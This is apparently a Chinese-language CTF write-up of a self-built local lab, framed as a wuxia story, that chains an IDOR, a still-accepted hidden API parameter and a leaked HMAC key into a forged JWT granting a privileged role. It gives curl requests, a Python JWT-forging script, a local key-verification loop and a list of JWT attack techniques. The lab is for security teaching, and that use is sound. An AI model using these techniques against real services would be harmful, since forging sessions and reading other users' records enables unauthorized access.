駭客盲盒 #003:無燈城英雄帖 — 夜印從來不是通行證 (自創靶機)
難度:Medium(★★★☆☆)
序:這一盒裝了什麼
這是「駭客盲盒」系列的第三盒,《雲海劍宗》章回的第三章,一樣經 codex 檢查過,歡迎下載遊玩~
第二章的雨門之後,掌門手書指向一座終年不點燈火的邊城,這一盒的名字叫無燈城——城中無燈,因為每一道光,都會替某人作證。
一樣走兩條線,解題的部分用「我們」,設計的部分切回「我」,沒玩過的人,讀完「環境架設」就可以先關掉這篇。
一、環境架設
unzip wuxia-05-wudengcheng.zip
cd wuxia-05-wudengcheng
docker compose up --build -d
跑起來後開瀏覽器:
http://127.0.0.1:8085/
進站後按 h 可以看提示頁,三條提示對應三處關卡,卡住的時候翻,不算作弊。
這盒我特地做了/hints頁,前兩盒沒有。
原因是這一章的兩條支線可以任意順序打,玩家很容易在某一處卡死之後不知道該換哪條線,提示我寫得很克制——只講「往哪裡看」,不講「送什麼」,把最後那段推理留著。
二、空殼首頁:所有線索都在 app.js
首頁只有 561 bytes,body 是空的:
<div class="site-shell" id="app" aria-live="polite"></div>
<noscript>這座城需要一點 JavaScript,才看得見雨裡的墨跡。</noscript>
<script src="/app.js" defer></script>
前兩盒的敘事與表單都直接寫在 HTML 裡,這盒全部由 JS 渲染,所以第一步不是掃目錄,是把前端程式碼讀完:
curl -sS http://127.0.0.1:8085/app.js -o app.js
wc -l app.js # 263 行
263 行讀下來,端點清單就有了:
| 端點 | 用途 |
|---|---|
POST /api/session |
入城,發身分 cookie |
GET /api/me |
我是誰 |
GET /api/roster |
入城羅冊 |
GET /api/dossiers/{ref} |
讀卷宗 |
GET /api/memory/{ref}?layer= |
讀記憶牆 |
GET /api/night-judge/rules |
判官規矩 |
GET /api/night-judge/verdict |
判決(flag 在這) |
先入城,這盒的身分走 cookie,curl 預設不保存也不送 cookie,所以要用 cookie jar:
C=/tmp/wudeng.jar
B=http://127.0.0.1:8085
J() { python3 -m json.tool --no-ensure-ascii; } # 中文不要變成 \uXXXX
curl -sS -c $C -X POST $B/api/session -H 'Content-Type: application/json' -d '{}' | J
curl -sS -b $C -c $C $B/api/me | J
{
"display": "沈小石",
"office": "wanderer",
"dossierId": "17",
"seal": "雨紋銅牌"
}
office: wanderer——記住這個欄位,它是最後一關的靶心。
把首頁做成空殼 SPA 是這盒的第一道門檻。
前兩盒可以靠curl首頁直接讀到敘事,這盒不行,你得先意識到「內容都在 JS 裡」才有辦法往下走,這一步刷掉的不是技術,是習慣——很多人打站時只掃目錄不讀前端,而現代 web 應用的路由表、參數名、甚至沒上線的功能,全都躺在那支 bundle 裡。
三、第一處・私人卷宗
提示一:「羅冊裡的卷宗編號不是裝飾;自己的卷宗已示範調閱格式。」
先看羅冊:
curl -sS -b $C -c $C $B/api/roster | J
| 姓名 | 職稱 | 狀態 | dossier_ref | visibility |
|---|---|---|---|---|
| 沈小石 | 外客 | 入城 | 17 |
open |
| 顧微 | 抄燈吏 | 三更後失蹤 | 41 |
private |
| 葉照川 | 無字帖見證人 | 姓名已褪 | null |
sealed |
附註寫著:「卷宗編號供城籍司調閱,卷宗權限另依鈐印判別。」
再看自己的卷宗,順便確認調閱格式:
curl -sS -b $C -c $C "$B/api/dossiers/17" | J
回應裡有一行 "route_hint": "/api/dossiers/{ref}",附註也寫著「城籍司以 /api/dossiers/{卷宗編號} 調閱登簿」。
到這裡整個推理只剩一句話:羅冊給了我顧微的編號 41,那我把 17 換成 41 會怎樣?
curl -sS -b $C -c $C "$B/api/dossiers/41" | J
直接開了,伺服器完全沒問「這份是不是你的」。
{
"classification": "私人卷宗・甲字封存",
"owner": "顧微(抄燈吏)",
"seal": "封蠟已裂",
"notes": [
"其最後一次巡查留在記憶牆:ember-726。",
"守牆工把公示層與修復層共用同一介面;尋常人只看得到表面。",
"封面背後殘留四筆灰墨:ashes-9f2a。"
],
"memory_ref": "ember-726",
"seal_fragment": { "position": "末筆", "value": "ashes-9f2a" }
}
第一證到手,帶出三樣東西:
ember-726— 第二處的入口ashes-9f2a— 一段來路不明的字串,position標著「末筆」- 「公示層與修復層共用同一介面」— 第二處的機制提示
這一處我把「權限判斷」和「資料查詢」刻意寫成兩件事,羅冊附註「卷宗編號供城籍司調閱,卷宗權限另依鈐印判別」就是在描述這個結構。
現實中的 IDOR 幾乎都長這樣:查詢函式寫得很正確,權限檢查寫在另一個地方——然後某一條路徑忘了接上。它很少是「忘記做權限」,多半是「權限做了,但這條路沒走到」。
四、第二處・記憶牆
提示二:「記憶牆的前端仍保留一種一般介面沒有使用的讀法。」
app.js 第 8 行:
const WALL_LAYERS = Object.freeze(["surface", "imprint"]);
宣告了兩種圖層,但往下找它怎麼被使用:
const layer = query.get("layer") || WALL_LAYERS[0];
只用了 [0],也就是 surface,陣列裡的 imprint 從頭到尾沒被呼叫過。
再加上卷宗 41 的那句「守牆工把公示層與修復層共用同一介面」,答案已經寫在臉上了。
curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=surface" | J
{"text": "【已覆蓋】此張舊紙經巡夜司核定,不再公開。新帖覆於其上,字跡已不可辨。"}
換成 imprint:
curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=imprint" | J
{
"recovered": {
"witness": "葉照川不是被逐出英雄帖;他是第一個發現帖上姓名被替換的人。",
"seal_root": "listen-rain-bell",
"judge_claim": { "field": "office", "value": "night_judge" },
"assembly": "雨聲根詞與私人卷宗的末筆灰墨,以冒號相接,才是能讓判官認得的夜印。"
}
}
第二證到手,而且它是後半場的規格書:
listen-rain-bell— 另一段字串,欄位叫seal_root(根詞)- 判官要看
office這個欄位等於night_judge - 兩段字串以冒號相接
Object.freeze是我特意選的。
如果只寫const WALL_LAYERS = ["surface", "imprint"],玩家可能會覺得那是隨手留下的殘骸,凍結它、把兩個值都寫進去、卻只使用第一個——這個組合傳達的是「這是慎重定義的東西,只是前端不再用它」。
這也是我想教的核心觀念:前端的限制從來不是安全機制,按鈕不給你按、下拉選單沒有那個選項、程式碼裡的值沒被呼叫——這些都只是介面沒有暴露,後端該擋的還是得自己擋。
五、第三處・先看判官為什麼拒絕
curl -sS -b $C -c $C "$B/api/night-judge/rules" | J
curl -sSi -b $C -c $C "$B/api/night-judge/verdict"
{"title": "巡夜判官・開堂規矩",
"text": "判官不問來者姓名,只驗夜印是否完整,再看城冊所載職司。",
"current_office": "wanderer"}
HTTP/1.1 403 Forbidden
{"error":"梆聲未歇。此枚夜印尚非巡夜判官所持。","current_office":"wanderer"}
規矩說得很清楚,判官檢查兩件事:夜印是否完整、城冊所載職司。而我們現在的職司是 wanderer,imprint 說要 night_judge。
六、我走錯的一步
拿到 listen-rain-bell 跟 ashes-9f2a,看到「以冒號相接」,第一直覺是——這是通行證。
A:B 這種冒號格式在 HTTP 認證的語境裡有很強的暗示:Basic Auth 就是 帳號:密碼 做 base64。所以我把它當憑證,一口氣試了四種送法:
NS='listen-rain-bell:ashes-9f2a'
curl -sS -b $C -H "X-Night-Seal: $NS" "$B/api/night-judge/verdict"
curl -sS -b $C -H "Authorization: Bearer $NS" "$B/api/night-judge/verdict"
curl -sS -b $C "$B/api/night-judge/verdict?seal=$NS"
curl -sS -b $C -H "Cookie: night_seal=$NS" "$B/api/night-judge/verdict"
四發回應一模一樣,current_office 死死釘在 wanderer。
這個失敗其實給了答案。推理是這樣的:
如果伺服器有在讀我送的東西,四種完全不同的送法,至少該有一種回應不一樣——長度不同、錯誤訊息不同、狀態碼不同。全部相同,代表它根本沒看我送什麼。
而current_office不受我送的任何東西影響,代表這個值來自我還沒碰到的地方。
所以「通行證」這個假設被排除了。那串字另有用途,而 office 存在別的地方。
這一段我在設計時就預期玩家會撞。
冒號格式的誤導是刻意的——我要玩家經歷一次「看起來像什麼」和「實際上是什麼」的落差。形狀會騙人,行為不會。 一段字串到底是憑證還是密鑰,不能靠外觀判斷,得看它在哪個角色上動得起來。
而「四種送法回應完全相同」這件事本身就是資訊,這是我希望玩家帶走的觀察力:失敗的實驗如果失敗得很整齊,那個整齊就是線索。
七、夜印其實是密鑰
office 既然不受我送的東西影響,那就回頭看入城時伺服器給了什麼:
Set-Cookie: wudeng_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im5pZ2h0LXNlYWwtdjEifQ.eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciIsLi4ufQ.hSNbFgy4...
是 JWT,它的前兩段只是 base64 編碼,不是加密,任何人都能直接讀:
echo 'eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciJ9' | base64 -d
// header
{"alg":"HS256", "typ":"JWT", "kid":"night-seal-v1"}
// payload
{"sub":"shen-xiaoshi", "display":"沈小石", "office":"wanderer", "dossierId":"17", ...}
office 就在這裡面。 判官讀的就是這張 cookie。
那能不能直接改?不行——第三段是簽章。伺服器用一把只有它知道的密鑰,對前兩段算 HMAC。你改了 payload,簽章就對不上。
除非你有那把密鑰。
而 header 裡這個欄位:
"kid": "night-seal-v1"
kid 在 JWT 規格裡是 Key ID——密鑰的名字。而 night-seal 直譯就是夜印。
三個線索到這裡收束:
kid指名了一把叫night-seal-v1的密鑰- 整關的敘事一直在講「夜印」——判官「只驗夜印是否完整」、拒絕訊息說「此枚夜印尚非巡夜判官所持」
- imprint 那句「才是能讓判官認得的夜印」,翻成技術語言就是「能通過簽章驗證的簽名」
夜印不是通行證,是簽章密鑰,而它被拆成兩半:
listen-rain-bell : ashes-9f2a
↑ 根詞(第二處) ↑冒號 ↑ 末筆(第一處)
順序也不用猜——seal_root 的「root」是根、是開頭;seal_fragment 的 position 欄位直接寫著 "末筆"。
八、自簽夜印
密鑰在手,剩下的就是機械操作,header 照抄原本的(kid 要留著,伺服器靠它選密鑰),payload 只改 office:
import base64, hmac, hashlib, json, time
KEY = b"listen-rain-bell:ashes-9f2a"
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',',':'), ensure_ascii=False).encode())
now = int(time.time())
h = {"alg":"HS256","typ":"JWT","kid":"night-seal-v1"}
p = {"sub":"shen-xiaoshi","display":"沈小石","office":"night_judge",
"dossierId":"17","iat":now,"exp":now+3600}
msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(KEY, msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")
把假身分證當 cookie 送出去:
FORGED='<上面印出來的>'
curl -sS -H "Cookie: wudeng_session=$FORGED" "$B/api/night-judge/verdict" | J
伺服器拿 night-seal-v1 驗章——通過,因為用的就是同一把。於是它相信 payload,看到 office: night_judge,開堂。
補充:如果沒讀懂「以冒號相接」
現實中不會有人告訴你怎麼拼,但密鑰是可以被證明的,不需要猜:
import hmac, hashlib, base64
token = "<伺服器發給你的真 token>"
msg, sig = token.rsplit(".", 1)
def test(key):
calc = base64.urlsafe_b64encode(
hmac.new(key.encode(), msg.encode(), hashlib.sha256).digest()
).rstrip(b"=").decode()
return calc == sig
for k in ["listen-rain-bell:ashes-9f2a", "listen-rain-bell-ashes-9f2a",
"ashes-9f2a:listen-rain-bell", "listen-rain-bellashes-9f2a"]:
print("✅" if test(k) else "❌", k)
原理:你手上有一張伺服器簽好的真 token,前兩段跟簽章都在,用候選密鑰重算,算出來跟真簽章一致,那把就是對的。
這個驗證完全在本機做——伺服器不知道、沒有 rate limit、可以試幾億次,hashcat 和 jwt_tool 的弱密鑰爆破就是把這個迴圈跑很多次而已。
九、完整攻擊鏈
POST /api/session → 拿到 JWT cookie(office: wanderer)
│
├──────────────────────┬──────────────────────
▼ ▼
GET /api/roster app.js 第 8 行
拿到別人的編號 41 WALL_LAYERS 凍結了 imprint 卻沒用
│ │
▼ ▼
GET /api/dossiers/41 GET /api/memory/ember-726?layer=imprint
← IDOR ← 未使用的參數值仍生效
│ │
▼ ▼
ashes-9f2a listen-rain-bell
(末筆) (根詞)+ judge_claim: office=night_judge
│ │
└──────────┬───────────┘
▼
listen-rain-bell:ashes-9f2a
= JWT header 裡 kid "night-seal-v1" 所指的密鑰
▼
自簽 office=night_judge 的 JWT
▼
GET /api/night-judge/verdict → 🚩 flag
十、漏洞剖析:三處匯流
第一處:IDOR
/api/dossiers/41 直接吐出別人的私人卷宗,系統檢查了「你有沒有登入」,沒檢查「這份是不是你的」。
這是 OWASP API Security Top 10 的第一名(BOLA / Broken Object Level Authorization),也是實務上最常見的漏洞類型。它之所以難根除,是因為權限檢查通常寫在別的地方,只要有一條查詢路徑忘了接上就破功——而一個中型 API 有幾百條路徑。
驗這類漏洞的方法很土但有效:拿 A 帳號的 token,去讀 B 帳號的資源 ID。能讀到就是 BOLA。
第二處:功能停用了,介面沒停用
前端凍結了 imprint 但不再呼叫,後端卻照收,這跟第二盒的廢棄 schema 端點是同一種病。
現實中的同構物:忘了關的 /swagger.json、GraphQL 的 introspection、/actuator/env、舊版 /v1/ 路徑、被前端隱藏但後端仍接受的表單欄位,「前端不送」不等於「後端不收」,而攻擊者從來不用你的前端。
第三處:密鑰洩漏 → JWT 偽造
拿到 HMAC 密鑰,就等於拿到了伺服器的印章,你能簽出任何 payload,而且伺服器會百分之百採信——因為簽章是真的。
JWT 的四大攻擊面順帶列一下,這盒用的是第一種:
- 密鑰洩漏/弱密鑰 — 從 source map、Git、log 撿到,或是密鑰根本是
secret、your-256-bit-secret這種文件範例值,hashcat幾秒爆掉 alg: none— 規格允許「不需簽章」,老舊函式庫沒擋- 演算法混淆(RS256 → HS256) — 把公鑰拿來當 HMAC 密鑰用
kid注入 —kid是攻擊者可控字串,如果被拿去當檔案路徑或拼 SQL,就變成 LFI/SQLi
我把密鑰拆成兩半,是因為想示範一件事:攻擊鏈的價值不等於各環節的總和。
IDOR 拿到的ashes-9f2a單獨看沒有意義,imprint拿到的listen-rain-bell也一樣。修掉任何一個漏洞,另一半就永遠只是一段亂碼。但兩個都存在時,它們相乘成了完整的身分偽造能力。
這也是滲透測試報告最難溝通的部分。分開報,兩個都是 Medium,開發者容易覺得「不急」;串起來報,它是 Critical。單點的嚴重性評估會系統性低估攻擊鏈,而真實入侵幾乎都是攻擊鏈。
結語
這一盒我想教的是匯流。
第一章教「讀」——線索寫在敘事裡,你得願意讀完每一句氛圍文字。第二章教「串」——三個小毛病接成一條路,這一章教的是:有些鑰匙不會完整地放在一個地方,它被拆開,藏在彼此無關的兩個角落。
還有一件事:那段冒號格式的誤導不是惡作劇,看起來像 Basic Auth 的東西可能是密鑰,看起來像亂碼的東西可能是 session ID——形狀不能拿來判斷用途,只有行為可以。
城內亮起第一盞燈了,帖尾那行淡墨說,江湖上不只一座無燈城。
本文為自製靶機 writeup,靶機僅供本地學習使用,請勿將文中技巧用於未經授權的目標。
Member discussion